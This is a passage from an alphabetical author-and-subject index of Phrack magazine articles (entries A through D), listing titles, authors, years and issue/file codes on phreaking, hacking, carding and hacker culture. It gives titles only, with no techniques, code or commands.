"Social Security Number Formatting" by Shooting Shark. 1988. I19 F4 3k
|
|||
|
"Social Security Numbers & Privacy" by Chris Hibbert of CPSR. 1991.
|
|||
|
I35 F6 13k
|
|||
|
"Tapping Telephone Lines" by Agent Steal. 1987. I16 F6 9k
|
|||
|
"The Technical Revolution" by Dr. Crash. 1986. I6 F3 4k
|
|||
|
"The Truth About Lie Detectors" by Razor's Edge. 1989. I30 F9 15k
|
|||
|
|
|||
|
"Are You a Phone Geek?" by Doom Prophet. 1987. I13 F7 9k
|
|||
|
Aristotle was Pro-Philed in 1992 I38 F3 6k
|
|||
|
Armitage authored
|
|||
|
"The Glenayre GL3000 Paging and Voice retrieval System" 1995.
|
|||
|
I47 F14 25k
|
|||
|
"The Art of Investigation" by Butler. 1990. I32 F4 18k
|
|||
|
"The Art of Junction Box Modeming" by Mad Hacker 616. 1986. I8 F5 6k
|
|||
|
"AT&T Definity System 75/85" by Erudite. 1994. I46 F25 35k
|
|||
|
"The AT&T Mail Gateway" by Robert Alien. 1991 I34 F4 5k
|
|||
|
"Auto-Answer It" by Twisted Pair. 1991. I35 F9 10k
|
|||
|
"Automatic Number Identification" by Phantom Phreaker and Doom Prophet. 1987.
|
|||
|
I10 F7 9k
|
|||
|
"Automatic Teller Machine Cards" by Jester Sluggo. 1990. I32 F6 16k
|
|||
|
|
|||
|
|
|||
|
** B **
|
|||
|
|
|||
|
|
|||
|
Bad Boy in Black authored
|
|||
|
"Hand to Hand Combat" 1986. I5 F4 13k
|
|||
|
|
|||
|
BANK FRAUD
|
|||
|
"Automatic Teller Machine Cards" by Jester Sluggo. 1990. I32 F6 16k
|
|||
|
"Bank Information" compiled by Legion of Doom!. 1989. I29 F6 12k
|
|||
|
"Fun With Automatic Tellers" by The Mentor. 1986. I8 F7 7k
|
|||
|
"How We Got Rich Through Electronic Fund Transfer" by Legion of Doom!.
|
|||
|
1990. I29 F7 11k
|
|||
|
"Introduction to the FedLine software system" by Parmaster. 1996.
|
|||
|
I49 F12 19k
|
|||
|
|
|||
|
"Bank Information" compiled by Legion of Doom!. 1989. I29 F6 12k
|
|||
|
"Basic Commands for The VOS System" by Dr. No-Good. 1992. I37 F8 10k
|
|||
|
"Basic Concepts of Translation" by The Dead Lord and Chief Executive Officers.
|
|||
|
1989. I26 F6 20k
|
|||
|
"Beating The Radar Rap Part 1/2" by Dispater. 1992. I27 F5 12k 44k
|
|||
|
"Beating The Radar Rap Part 2/2" by Dispater. 1992. I28 F6 5k 15k
|
|||
|
"A Beginner's Guide to The IBM VM/370" by Elric of Imrryr. 1987. I10 F4 4k
|
|||
|
"A Beginner's Guide to Novell Netware 386" by The Butler. 1991. I35 F8 84k
|
|||
|
"Bell Network Switching Systems" by Taran King. 1989. I25 F3 16k
|
|||
|
"BELLCORE Information" by The Mad Phone-Man. 1987. I16 F2 11k
|
|||
|
"Big BroTher Online" by Thumpr (Special thanks to Hatchet Molly). 1989.
|
|||
|
I23 F10
|
|||
|
Bill Huttig authored
|
|||
|
"Special Area Codes II" 1992. I39 F7 17k
|
|||
|
|
|||
|
BITNET see WIDE AREA NETWORKS
|
|||
|
|
|||
|
Black Kat authored
|
|||
|
"Users Guide to VAX/VMS Part 1/3" 1991 I35 F7 62k
|
|||
|
"Users Guide to VAX/VMS Part 2/3" 1992 I37 F7 25k
|
|||
|
"Users Guide to VAX/VMS Part 3/3" 1992 I38 F7 46k
|
|||
|
Black Knight from 713 authored
|
|||
|
"Hacking Voice Mail Systems" 1987. I11 F4 6k
|
|||
|
Black Tie Affair authored
|
|||
|
"Hiding Out Under Unix" 1989. I25 F6 9k
|
|||
|
"Blocking of Long Distance Calls" by Jim Schmickley. 1988. I21 F8 26k
|
|||
|
"Blocking of Long Distance Calls... Revisited" by Jim Schmickley. 1989.
|
|||
|
I29 F9 22k
|
|||
|
"Blowguns" by The Pyro. 1985. I2 F4 3K 3K
|
|||
|
"The Blue Box and Ma Bell" by The Noid. 1989. I25 F7 19k
|
|||
|
Bob Page authored
|
|||
|
"A Report on The Internet Worm" 1988. I22 F8 16k
|
|||
|
Bobby Zero authored
|
|||
|
"Security Shortcomings of AppleShare Networks" 1992. I41 F9 16k
|
|||
|
"Bolt Bombs" by The Leftist. 1986. I5 F6 3k
|
|||
|
Boss Hogg authored
|
|||
|
"The Craft Acces Terminal" 1996. I48 F8 36k
|
|||
|
"Boot Tracing" by Cheap Shades. 1985. I1 F3 8k
|
|||
|
"Box.exe for SoundBlasters"<unencoded> by The Fixer. 1994. I45 F22 13k
|
|||
|
"Breaching and Clearing Obstacles" by Taran King. 1986. I4 F5 7k
|
|||
|
Broadway Hacker Pro-Philed in 1986. I5 F2 5k
|
|||
|
Brian Oblivion authored
|
|||
|
"Cellular Telephony" 1992. I38 F9 28k
|
|||
|
"Cellular Telephony Part II" 1992. I40 F6 72k
|
|||
|
"DIALOG Information Network" 1992. I39 F5 43k
|
|||
|
Brigadier General Swipe authored
|
|||
|
"An Introduction to MILNET" 1991 I34 F7 8k
|
|||
|
Bruce Sterling authored
|
|||
|
"Phrack World News Special Edition IV" (CyberView '91) 1991. I33 F10 28k
|
|||
|
"BT Tymnet, Part 1/3" by Toucan Jones. 1992. I40 F8 57k
|
|||
|
"BT Tymnet, Part 2/3" by Toucan Jones. 1992. I40 F9 55k
|
|||
|
"BT Tymnet, Part 3/3" by Toucan Jones. 1992. I40 F10 91k
|
|||
|
"Building a Shock Rod" by Circle Lord. 1986. I3 F8 3k
|
|||
|
"Busy Line Verification" by Phantom Phreaker. 1987. I11 F10 10k
|
|||
|
"Busy Line Verification Part II" by Phantom Phreaker. 1987. I12 F8 9k
|
|||
|
Butler authored
|
|||
|
"The Art of Investigation" 1990. I32 F4 18k
|
|||
|
"A Beginners Guide to Novell Netware 386" 1991. I35 F8 84k
|
|||
|
|
|||
|
|
|||
|
** C **
|
|||
|
|
|||
|
CABLE
|
|||
|
"A Guide To Porno Boxes" By Carl Corey. 1994. I46 F10 13k
|
|||
|
|
|||
|
Caligula XXI authored
|
|||
|
"Mall Cop Frequencies" 1992. I41 F10 11k
|
|||
|
"Can You Find Out If Your Telephone is Tapped?" by Fred P. Graham and VaxCat
|
|||
|
1989. I23 F9 20k
|
|||
|
Cap'n Crax authored
|
|||
|
"The TMC Primer" 1987. I10 F3 6k
|
|||
|
|
|||
|
CARDING
|
|||
|
"Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k
|
|||
|
"Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k
|
|||
|
"Card-O-Rama:Magnetic Stripe Technology and Beyond" by Count Zero. 1992.
|
|||
|
I37 F6 44k
|
|||
|
"MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
|
|||
|
"Safe and Easy Carding" by Vaxbuster. 1993. I44 F20 18k
|
|||
|
"VisaNet Operations Part I" by Ice Jey. 1994. I46 F15 50k
|
|||
|
"VisaNet Operations Part 2" by Ice Jey. 1994. I46 F16 44k
|
|||
|
|
|||
|
"Card-O-Rama:Magnetic Stripe Technology and Beyond" by Count Zero. 1992.
|
|||
|
I37 F6 44k
|
|||
|
|
|||
|
CARD GAMES
|
|||
|
"How To Hack Blackjack Part I" by Lex Luthor. 1993. I43 F9 52k
|
|||
|
"How To Hack Blackjack Part II" by Lex Luthor. 1993. I43 F10 50k
|
|||
|
|
|||
|
Carl Corey authored
|
|||
|
"A Guide To Porno Boxes" 1994. I46 F10 13k
|
|||
|
Carrier Culprit authored
|
|||
|
"Hacking DEC's" 1986. I5 F3 23k
|
|||
|
The Cavalier authored
|
|||
|
"How to Build a DMS-10 Switch" 1992 I41 F7 23k
|
|||
|
"Introdcution to Telephony and PBX Systems" 1996. I49 F5 100k
|
|||
|
"Cellular Debug Mode Commands" by Various Sources. 1994. I45 F26 13k
|
|||
|
"Cellular Info" by Madjus(N.O.D.). 1993. I43 F17 47k
|
|||
|
"Cellular Spoofing by Electronic Serial Numbers" by Author Unknown.
|
|||
|
1985. I11 F9 submitted by Amadeus
|
|||
|
"Cellular Telephones" by High Evolutionary. 1986. I6 F7 5k
|
|||
|
"Cellular Telephony" by Brian Oblivion. 1992. I38 F9 28k
|
|||
|
"Cellular Telephony Part II" by Brian Oblivion. 1992. I40 F6 72k
|
|||
|
|
|||
|
CELLULAR TELEPHONY
|
|||
|
"Air Fone Frequencies" by Leroy Donnelly. 1992 I39 F8 14k
|
|||
|
"Cellular Debug Mode Commands" by Various Sources. 1994. I45 F26 13k
|
|||
|
"Cellular Info" by Madjus(N.O.D.). 1993. I43 F17 47k
|
|||
|
"Cellular Spoofing by Electronic Serial Numbers" by ?. 1985. I11 F9
|
|||
|
submitted by Amadeus
|
|||
|
"Cellular Telephones" by High Evolutionary. 1986. I6 F7 5k
|
|||
|
"Cellular Telephony" by Brian Oblivion. 1992. I38 F9 28k
|
|||
|
"Cellular Telephony Part II" by Brian Oblivion. 1992. I40 F6 72k
|
|||
|
"Mobile Telephone Communications" by Phantom Phreaker. 1986. I5 F9 11k
|
|||
|
"Motorola Command Mode Information" by Cherokee. 1996. I48 F6 38k
|
|||
|
"Tandy/Radio Shack Cellular Phones" by Damien Thorn. 1996. I48 F7 43k
|
|||
|
|
|||
|
"Centrex Renaissance" by Jester Sluggo. 1986. I4 F7 17k
|
|||
|
"Centigram Voice Mail System Consoles" by >Unknown User<. 1992. I39 F6 36k
|
|||
|
Charlie X authored
|
|||
|
"Screwing Over Your Local McDonalds" 1994. I45 F19. 20k
|
|||
|
Cheap Shades authored
|
|||
|
"Boot Tracing" 1985. I1 F3 8k
|
|||
|
Introduction/Index for I3 F1
|
|||
|
co-authored
|
|||
|
"Welcome to Metal Shop Private" 1988. I20 F4 37k
|
|||
|
Cherokee authored
|
|||
|
"Motorola Command Mode Information" 1996. I48 F6 38k
|
|||
|
Chief Executive Officers co-authored
|
|||
|
"Basic Concepts of Translation" 1989. I29 F6 12k
|
|||
|
Crimson Flash authored
|
|||
|
"The Fine Art of Telephony" 1992. I40 F7 65k
|
|||
|
Chris Goggans authored
|
|||
|
"Packet Switched Network Security" 1992. I42 F4 22k
|
|||
|
Chris Goggens was Pro-Philed in 1991. I35 F3 20k
|
|||
|
Chris Hibbert of CPSR authored
|
|||
|
"Social Security Numbers & Privacy" 1991. I35 F6 13k
|
|||
|
Circle Lord authored "Building a Shock Rod" 1986. I3 F8 3k
|
|||
|
"Eavesdropping" 1986. I3 F7 3k
|
|||
|
"Circuit Switched Digital Capability" by The Executioner. 1987. I10 F5 12k
|
|||
|
"City-Wide Centrex" by The Executioner. 1986. I8 F3 14k
|
|||
|
cjml authored
|
|||
|
"Steganography Improvement Proposal" by cjml. 1996. I49 F10 6k
|
|||
|
The Clashmaster authored
|
|||
|
"How to Make Acetylene Bombs" 1985. I1 F7 4k
|
|||
|
Co/Dec authored
|
|||
|
"Physical Access and Theft of PBX Systems" 1993. I43 F15 28k
|
|||
|
"Fraudulent Applications of 900 Services" 1994. I45 F18 15k
|
|||
|
CODES
|
|||
|
"MCI International Cards" by Knight Lightning. 1985. I1 F5 3k
|
|||
|
|
|||
|
Compaq Disk(Crimson Death) co-authored
|
|||
|
"Introduction to Diet Phrack" 1991. I36. F1 8k
|
|||
|
"The Complete Guide to Hacking WWIV" by Inhuman. 1991 I34 F5 20k
|
|||
|
"The Complete Guide to Hacking Meridian Voice Mail" by Substance. 1995.
|
|||
|
I47 F15 10k
|
|||
|
"CompuServe Info" by Morgoth and Lotus. 1986. I8 F6 8k
|
|||
|
"The CompuServe Case" by Electronic Frontier Foundation. 1992. I37 F9 6k
|
|||
|
"Computer-Based Systems for Bell System Operation" by Taran King. 1989.
|
|||
|
I20 F2
|
|||
|
"Computer Hackers Follow a Guttman-Like Progression" by Richard C. Hollinger
|
|||
|
1988. I22 F7 10k
|
|||
|
"Concerning Hackers Who Break Into Computer Systems" by Dorthy Denning. 1990.
|
|||
|
I32 F3
|
|||
|
"Conference News Part I" by Various Sources. 1993. I43 F7 53k
|
|||
|
"Conference News Part II" by Various Sources. 1993. I43 F8 58k
|
|||
|
"Conference News Part I" by Various Sources. 1993. I44 F6 55k
|
|||
|
"Conference News Part II" by Various Sources. 1993. I44 F7 35k
|
|||
|
"Conference News Part III" by Various Sources. 1993. I44 F8 50k
|
|||
|
"The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k
|
|||
|
"Consensual Realities in Cyberspace" by Paul Saffo. 1989. I30 F8 11k
|
|||
|
"Content-Blind Cancelbot" by Dr. Dimitri Vulis. I49 F9 40k
|
|||
|
"Control Office Administration of Enhanced 911 Service" by The Eavesdropper.
|
|||
|
1989. I24 F6 12k
|
|||
|
Control C authored
|
|||
|
"Digital Multiplexing Systems (Part 2)" 1988. I19 F3 18k
|
|||
|
"Inside Dialog" 1986. I9 F5 8k
|
|||
|
"Loop Maintenance Operating System" 1988. I18 F8 32k
|
|||
|
"TRW Business Terminology" 1987. I14 F6 5k
|
|||
|
"Understanding The Digital Multiplexing Systems (DMS)" 1987. I12 F4 19k
|
|||
|
"Understanding DMS Part II" 1987. I14 F5 18k
|
|||
|
"Computerists Underground News Tabloid - CUNT" by Crimson Death. 1987.
|
|||
|
I13 F8 11k
|
|||
|
Control C was Pro-Philed in 1994. I44 F7 22k
|
|||
|
|
|||
|
COSMOS
|
|||
|
"COSMOS: COmputer System for Mainfrmae OperationS (Part One)" by
|
|||
|
King Arthur. 1989. I26 F5 13k
|
|||
|
"COSMOS: COmputer System for Mainframe OperationS (Part Two)" by
|
|||
|
King Arthur. 1989. I27 F5 12k
|
|||
|
"Cosmos Overview" by EBA. 1990. I31 F6 52k
|
|||
|
|
|||
|
"COSMOS: COmputer System for Mainframe OperationS (Part One)" by King Arthur.
|
|||
|
1989. I26 F5 13k
|
|||
|
"COSMOS: COmputer System for Mainframe OperationS (Part Two)" by King Arthur.
|
|||
|
1989. I27 F5 12k
|
|||
|
Cosmos Kid authored
|
|||
|
"A Hacker's Guide to Primos: Part 1" 1987. I16 F3 11k
|
|||
|
"Cosmos Overview" by EBA. 1990. I31 F6 52k
|
|||
|
Count Zero authored
|
|||
|
"Card-O-Rama:Magnetic Stripe Technology and Beyond" 1992. I37 F6 44k
|
|||
|
"Phrack World News:Special Report VI on WeenieFest'92" 1992 I37 F10 14k
|
|||
|
"HoHoCon" 1995. I48. F11 33k
|
|||
|
"Covert Paths" by Cyber Neuron Limited and SynThecide. 1989. I29 F5 4k
|
|||
|
|
|||
|
CRACKING (of software)
|
|||
|
"Boot Tracing" by Cheap Shades. 1985. I1 F3 8k
|
|||
|
|
|||
|
"Cracking NT Passwords" by Nihil. 1997. I50 F8 17k
|
|||
|
"The Craft Acces Terminal" by Boss Hogg. 1996. I48 F8 36k
|
|||
|
"Crashing DEC-10's" by The Mentor. 1986. I4 F6 5k
|
|||
|
|
|||
|
CREDIT BUREAUS
|
|||
|
"Hacking Chilton's Credimatic" by Ryche. 1986. I7 F4 8k
|
|||
|
"Reading Trans-Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k
|
|||
|
"TRW Business Terminology" by Control C. 1987. I14 F6 5k
|
|||
|
|
|||
|
"Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k
|
|||
|
|
|||
|
CREDIT CARDING
|
|||
|
(see also CREDIT BUREAUS, CARDING)
|
|||
|
"Advanced Carding XIV" by The Disk Jockey. 1987. I15 F4 12k
|
|||
|
"Credit Card Laws" by Tom Brokow. 1987. I16 F5 7k
|
|||
|
"The Postal Inspection Service" by Vendetta. 1989. I27 F9 14k
|
|||
|
|
|||
|
Crimson Death was Pro-Philed in 1986. I4 F1
|
|||
|
Crimson Death (713) authored
|
|||
|
"Computerists Underground News Tabloid - CUNT" 1987. I13 F8 11k
|
|||
|
Introduction/Index for I18-19,32,34,35(co-authored) F1
|
|||
|
"Phrack Classic Spotlight featuring Knight Lightning" 1990. I32 F2 32k
|
|||
|
"Phrack Pro-Phile on Ax Murderer" 1988. I18 F2 4k
|
|||
|
"Phrack Pro-Phile on Shooting Shark" 1991 I33 F2 16k
|
|||
|
"Phrack World News" 1991. I33 F11 18k
|
|||
|
"RSTS" 1990. I32 F9 23k
|
|||
|
co-authored
|
|||
|
Introduction/Index for I18-19,32,34,35 F1
|
|||
|
"CSDC II - Hardware Requirements" by The Executioner. 1987. I12 F6 8k
|
|||
|
|
|||
|
CULTURE (of hacking)
|
|||
|
(See also International Scenes, Phrack World News, Phrack Pro-Phile)
|
|||
|
"10th Chaos Computer Congress" by Manny E. Farber. 1994. I45 F13 23k
|
|||
|
"The ABCs of Better Hotel Staying" by Seven Up. 1994. I46 F25 12k
|
|||
|
"Acronyms [from Metal Shop Private BBS]" 1988. I20 F11 43k
|
|||
|
"Are You a Phone Geek" by Doom Prophet. 1987. I13 F7 9k
|
|||
|
"Big BroTher Online" by Thumpr (Special thanks to Hatchet Molly). 1989.
|
|||
|
I23 F10
|
|||
|
"Concerning Hackers Who Break Into Computer Systems" by Dorthy Denning.
|
|||
|
1990. I32 F3 60k
|
|||
|
"Computer Hackers Follow a Guttman-Like Progression" by Richard C.
|
|||
|
Hollinger. 1988. I22 F7 10k
|
|||
|
"Computerists Underground New Tabloids - CUNT" by Crimson Death. 1987.
|
|||
|
I13 F8 11k
|
|||
|
"The Conscience of a Hacker {Reprint}" by The Mentor. 1987. I14 F3 4k
|
|||
|
"Cyber Christ Meets Lady Luck Part I" by Winn Schwartau. 1994. I46 F19 45k
|
|||
|
"Cyber Christ Meets Lady Luck Part II" by Winn Schwartau. 1994. I46 F20 42k
|
|||
|
"Cyber Christ Bites The Big Apple" by Winn Schwartau. 1994. I46 F23 60k
|
|||
|
"Defcon Information" by Various Sources. 1995. I47 F9 28k
|
|||
|
"Defcon II Information" by Various Sources. 1994. I45 F14 26k
|
|||
|
"*ELITE* Access" by Dead Lord and Lord Digital(Lords Anonymous!). 1991.
|
|||
|
I36 F5 43k
|
|||
|
"The Freedom of Information Act and You" by Vince Niel. 1992. I42 F12 42k
|
|||
|
"The Groom Lake Desert Rat" by PsychoSpy. 1994. I46 F21 44k
|
|||
|
"Hacker's Manifesto" by The Mentor. 1986. I7 F3 4k
|
|||
|
"The History of The Legion of Doom" 1990. I31 F5 10k
|
|||
|
"HoHoCon" by Netta Gilboa. 1995. I47. F10 30k
|
|||
|
"HoHoCon" by Count Zero. 1995. I48. F11 33k
|
|||
|
"HoHoCon"(review) by Various Sources. 1992. I42 F13 51k
|
|||
|
"HoHoCon Miscellany" by Various Sources. 1994. I45 F11 32k
|
|||
|
"HoHoCon Miscellany" by Various Sources. 1995. I47 F12 33k
|
|||
|
"Hollywood-Style Bits & Bytes" by Richard Goodwin. 1994. I45 F17 50k
|
|||
|
"HOPE" by Erik Bloodaxe. 1994. I46 F22 51k
|
|||
|
"How to Fuck Up The World - A Parody" by Thomas Covenant. 1987. I13 F3 10k
|
|||
|
"The Judas Contract (Part 2 of The Vicious Circle Trilogy)" by Knight
|
|||
|
Lightning. 1988. I22 F3 26k
|
|||
|
"LODCOM BBS Archive Info" by LOD. 1993. I43 F18 24k
|
|||
|
"LOD Communications BBS Archive Information" by LOD. 1993. I44 F22 29k
|
|||
|
"The Legion of Doom & The Occult" by LOD and Demon Seed Elite. 1991
|
|||
|
I36 F6 24k
|
|||
|
"LODCOM Sample Messages" by LOD. 1993. I43 F19 52k
|
|||
|
"The Making of a Hacker" by Framstag. 1989. I27 F7 9k
|
|||
|
"Metal/General Discussion [from Metal Shop Private BBS]" 1988. I20 F5 66k
|
|||
|
"New Users [from Metal Shop Private BBS]" 1988. I20 F9 17k
|
|||
|
"The Open Barn Door" by Douglas Walter(Newsweek). 1992. I39 F9 11k
|
|||
|
"Phrack Editorial on Microbashing" by The Nightstalker. 1988. I19 F6 6k
|
|||
|
"Phrack Inc./Gossip [from Metal Shop Private BBS]" 1988. I20 F6 56k
|
|||
|
"Phreak/Hack Sub [from Metal Shop Private BBS]" 1988. I20 F7 46k
|
|||
|
"Phreaks in Verse" by Sir Francis Drake. 1987. I13 F5 3k
|
|||
|
"Preview to Phrack 13-The Life & Times of The Executioner" 1987. I12 F3 5k
|
|||
|
"R.A.G. - Rodents are Gay" by Evil Jay. 1987. I13 F6 6k
|
|||
|
"Radio Free Berkley Information" 1994. I45 F24 35k
|
|||
|
"RAGS - The Best of Sexy Exy" 1987. I13 F9 19k
|
|||
|
"Real Cyberpunks" by The Men From Mongo. 1991 I36 F9 13k
|
|||
|
"The Royal Court [from Metal Shop Private BBS]" 1988. I20 F10 3k
|
|||
|
"Scan Man's Rebuttal to Phrack World News" by Scan Man. 1987. I12 F9 17k
|
|||
|
"Searching for speciAL acceSs agentS" by Dr. Dude. 1991. I36 F7 18k
|
|||
|
"The Senator Markey Hearing Transcripts" by >Unknown User<. I45 F20 72k
|
|||
|
"Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" by
|
|||
|
Knight Lightning. 1988. I21 F3 26k
|
|||
|
"Social Engineering [from Metal Shop Private BBS]" 1988. I20 F8 19k
|
|||
|
"Subdivisions (Part 3 of The Vicious Circle Trilogy)" by Knight Lightning
|
|||
|
1989. I23 F3 17k
|
|||
|
"SummerCon 1992" by Knight Lightning and Dispater. 1992. I40 F11 35k
|
|||
|
"The Truth...and Nothing but the Truth" by Steve Fleming. 1996. I48 F16 19k
|
|||
|
"Timeline Featuring Taran King, Knight Lightning, Cheap Shades" 1988.
|
|||
|
I20 F3 3k
|
|||
|
"A Trip to The NCSC" by Knight Lightning. 1990. I32 F7 16k
|
|||
|
"Welcome to Metal Shop Private" by Taran King, Knight Lightning, and Cheap
|
|||
|
Shades. 1988. I20 F4 37k
|
|||
|
|
|||
|
"Cyber Christ Meets Lady Luck Part I" by Winn Schwartau. 1994. I46 F19 45k
|
|||
|
"Cyber Christ Meets Lady Luck Part II" by Winn Schwartau. 1994. I46 F20 42k
|
|||
|
"Cyber Christ Bites The Big Apple" by Winn Schwartau. 1994. I46 F23 60k
|
|||
|
Cyber Neuron Limited co-authored
|
|||
|
"Covert Paths" 1989. I29 F5 4k
|
|||
|
|
|||
|
|
|||
|
|
|||
|
** D **
|
|||
|
|
|||
|
|
|||
|
daemon9 authored
|
|||
|
"IP-Spoofing Demystified" 1996. I48 F13 25k
|
|||
|
"Netmon" 1996. I48 F15 21k
|
|||
|
"Project Hades: TCP Weakness" 1996. I49 F7 38k
|
|||
|
"Project Neptune" 1996. I48 F13 52k
|
|||
|
co-authored
|
|||
|
"Project Loki: ICMP Tunneling" 1996. I49 F7 38k
|
|||
|
daemon9 was Pro-Philed in 1996. I48 F5 23k
|
|||
|
Damien Thorn authored
|
|||
|
"Tandy/Radio Shack Cellular Phones" 1996. I48 F7 43k
|
|||
|
Dark Overlord authored
|
|||
|
"Sending Fakemail in Unix" 1989. I27 F8 2k
|
|||
|
"Snarfing Remote Files" 1989. I28 F6 5k
|
|||
|
"Unix Cracking Tips" 1989. I25 F5 14k
|
|||
|
Data Line authored
|
|||
|
"Hacking RSTS". 1985. I2 F8 4k
|
|||
|
"Ring Back Codes for The 314 NPA" 1985. I4 F2 1k
|
|||
|
"Signalling Systems Around The World" 1986. I3 F4 2k
|
|||
|
"Datapac" by Synapse. 1993. I44 F21 36k
|
|||
|
Data Stream Cowboy authored
|
|||
|
"Network Miscellany IV" 1992 I38 F5 30k
|
|||
|
"Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
|
|||
|
"Phrack World News" Parts 1-3 1992. I40 F12-14 50,48,48k
|
|||
|
"Phrack World News" Parts 1-3 1992. I41 F11-13 46,49,43k
|
|||
|
"Phrack World News" 1992. I42 F14 29k
|
|||
|
"Phrack World News" 1993. I43 F27 24k
|
|||
|
"Phrack World News" 1993. I44 F27 22k
|
|||
|
"Phrack World News" 1994. I45 F28 17k
|
|||
|
"Phrack World News" 1994. I46 F28 38k
|
|||
|
"Phrack World News" 1995. I47 F22 38k
|
|||
|
"Phrack World News" 1996. I48 F18 21k
|
|||
|
co-authored
|
|||
|
"Phrack World News" Parts 1-3 1992. I38 F13-15 34,32,33k
|
|||
|
"Phrack World News" Parts 1-4 1992. I39 F10-13 30,27,29,29k
|
|||
|
|
|||
|
"Data Tapping Made Easy" by Elric of Imrryr. 1988. I17 F9 4k
|
|||
|
"A Day in The Life of a Warez Broker" by Xxxx Xxxxxxxx. 1995. I47 F20 13k
|
|||
|
"DBA Primer from American Hacker Magazine" 1995. I47 F16 45k
|
|||
|
"DCL BBS Program" by Raoul. 1994. I45 F16 23k
|
|||
|
"DCL Utilities for VMS Hackers" by The Mentor. 1988. I19 F2 23k
|
|||
|
"DCO Operating System" by mrnobody. 1997. I50 F14 16k
|
|||
|
Dcypher wrote
|
|||
|
"Key Trap v1.0 Keyboard Key Logger" 1994. I46 F26 35k
|
|||
|
Dead Cow co-authored
|
|||
|
"Advanced Modem Oriented BBS Security" 1991. I34 F9 11k
|
|||
|
Dead Lord co-authored
|
|||
|
"Basic Concepts of Translation" 1989. I26 F6 20k
|
|||
|
"*ELITE* Access" 1991. I36 F5 43k
|
|||
|
|
|||
|
DEC (DECnets and oTher DECs)
|
|||
|
"Crashing DEC-10's" by The Mentor. 1986. I4 F6 5k
|
|||
|
"DECnet Hackola : Remote Turist TTY (RTT)" by *Hobbit*. 1989. I30 F6 6k
|
|||
|
"Hacking DEC's" by Carrier Culprit. 1986. I5 F3 23k
|
|||
|
"Looking Around in DECnet" by Deep Thought. 1989. I27 F6 14k
|
|||
|
"Multi-User Chat Program for DEC-10's" by TTY-Man and The Mentor. 1986.
|
|||
|
I9 F7 7k
|
|||
|
|
|||
|
"Decnet Hackola : Remote Turist TTY (RTT)" by *Hobbit*. 1989. I30 F6 6k
|
|||
|
"The DECWRL Mail Gateway" by Dedicated Link. 1989. I30 F5 23k
|
|||
|
Dedicated Link authored
|
|||
|
"The DECWRL Mail Gateway" 1989. I30 F5 23k
|
|||
|
"Network Progression" 1989. I24 F10 5k
|
|||
|
Deep Thought authored
|
|||
|
"Looking Around in DECnet" 1989. I27 F6 14k
|
|||
|
"Defcon Information" by Various Sources. 1995. I47 F9 28k
|
|||
|
"Defcon II Information" by Various Sources. 1994. I45 F14 26k
|
|||
|
Demon Seed Elite co-authored
|
|||
|
"The Legion of Doom & The Occult" 1991. I36 F6 24k
|
|||
|
"Dial-Back Modem Security" by Elric of Imrryr. 1988. I17 F8 9k
|
|||
|
"DIALOG Information Network" by Brian Oblivion. 1992. I39 F5 43k
|
|||
|
"Digital Multiplexing Systems (Part 2)" by Control C. 1988. I19 F3 18k
|
|||
|
"Diet Phrack Loopback" by Phrack Staff. 1991. I36 F2 14k
|
|||
|
"The Digital Telephony Proposal" by The FBI. 1992. I38 F11 34k
|
|||
|
The Disk Jockey authored
|
|||
|
"Advanced Carding XIV" 1987. I15 F4 12k
|
|||
|
"Getting Caught: Legal Procedures" 1989. I26 F3 12k
|
|||
|
"Reading Trans-Union Credit Reports" 1987. I16 F7 6k
|
|||
|
"Phrack Pro-Phile on The Disk Jockey"(co-authored) 1991. I34 F3 23k
|
|||
|
The Disk Jockey was Pro-philed 1991. I34 F3 23k
|
|||
|
Dispater authored
|
|||
|
"A Real Functioning PEARL BOX Schematic" 1989. I28 F5 5k
|
|||
|
"Beating The Radar Rap Part 1/2" 1992. I27 F5 12k 44k
|
|||
|
"Beating The Radar Rap Part 2/2" 1992. I28 F6 5k 15k
|
|||
|
Introduction/Index I37,I38,40,41 F1
|
|||
|
"Phrack Pro-Phile on Aristotle" 1992. I38 F3 6k
|
|||
|
"Phrack Pro-Phile on Shadow Hawk 1" 1992. I39 F3 8k
|
|||
|
"Phrack World News" 1991. I33(F12,13 28/25k) I34(F10,11 14/19k)
|
|||
|
I35(F10-13 27,31,34,27k)
|
|||
|
co-authored
|
|||
|
"Phrack Loopback" 1992. I40 F2 50k
|
|||
|
"Phrack Loopback" 1992. I41 F2 52k
|
|||
|
"Phrack Pro-Phile on The Disk Jockey" 1991. I34 F3 23k
|
|||
|
"Phrack World News" Parts 1-4 1992. I37 F11-14 31,30,29,31k
|
|||
|
"Phrack World News" Parts 1-3 1992. I38 F13-15 34,32,33k
|
|||
|
Introduction/Index 29,I33,34 F1
|
|||
|
"SummerCon 1992" 1992. I40 F11 35k
|
|||
|
Disorder authored
|
|||
|
"Phrack World News" 1996. I49 F16 109k
|
|||
|
"DMS-100" by Knight Lightning. 1986. I5 F5 8k
|
|||
|
Doc Holiday authored
|
|||
|
"Hacking Rolm's CBXII" 1990. I31 F3 15k
|
|||
|
Introduction/Index for I31 F1
|
|||
|
"Knight Line I/Parts 1-3" 1990. I32 F10 47k-12
|
|||
|
Docter Who was Pro-Philed in 1993. I43 F6 15k
|
|||
|
Doom Prophet authored
|
|||
|
"Are You a Phone Geek?" 1987. I13 F7 9k
|
|||
|
"Telephone Signalling Methods" 1987. I11 F8 8k
|
|||
|
"The Total Network Data System" 1987. I12 F5 13k
|
|||
|
co-authored
|
|||
|
"Automatic Number Identification" 1987. I10 F7 9k
|
|||
|
"Loop Maintenance Operations System" 1986. I9 F9 17k
|
|||
|
Dorthy Denning authored
|
|||
|
"Concerning Hackers Who Break Into Computer Systems" 1990. I32 F3 60k
|
|||
|
Double Helix co-authored
|
|||
|
"How to Build a Paisley Box" 1987. I13 F4 5k
|
|||
|
Douglas Walter(Newsweek) authored
|
|||
|
"The Open Barn Door" 1992. I39 F9 11k
|
|||
|
Dr. BOB authored
|
|||
|
"A Guide to British Telecom's Caller ID Service" 1995. I47 F19 31k
|
|||
|
Dr. Crash authored
|
|||
|
"The Technical Revolution" 1986. I6 F3 4k
|
|||
|
Dr. Delam authored
|
|||
|
"The MCX7700 PABX System" 1994. I45 F25 22k
|
|||
|
co-authored
|
|||
|
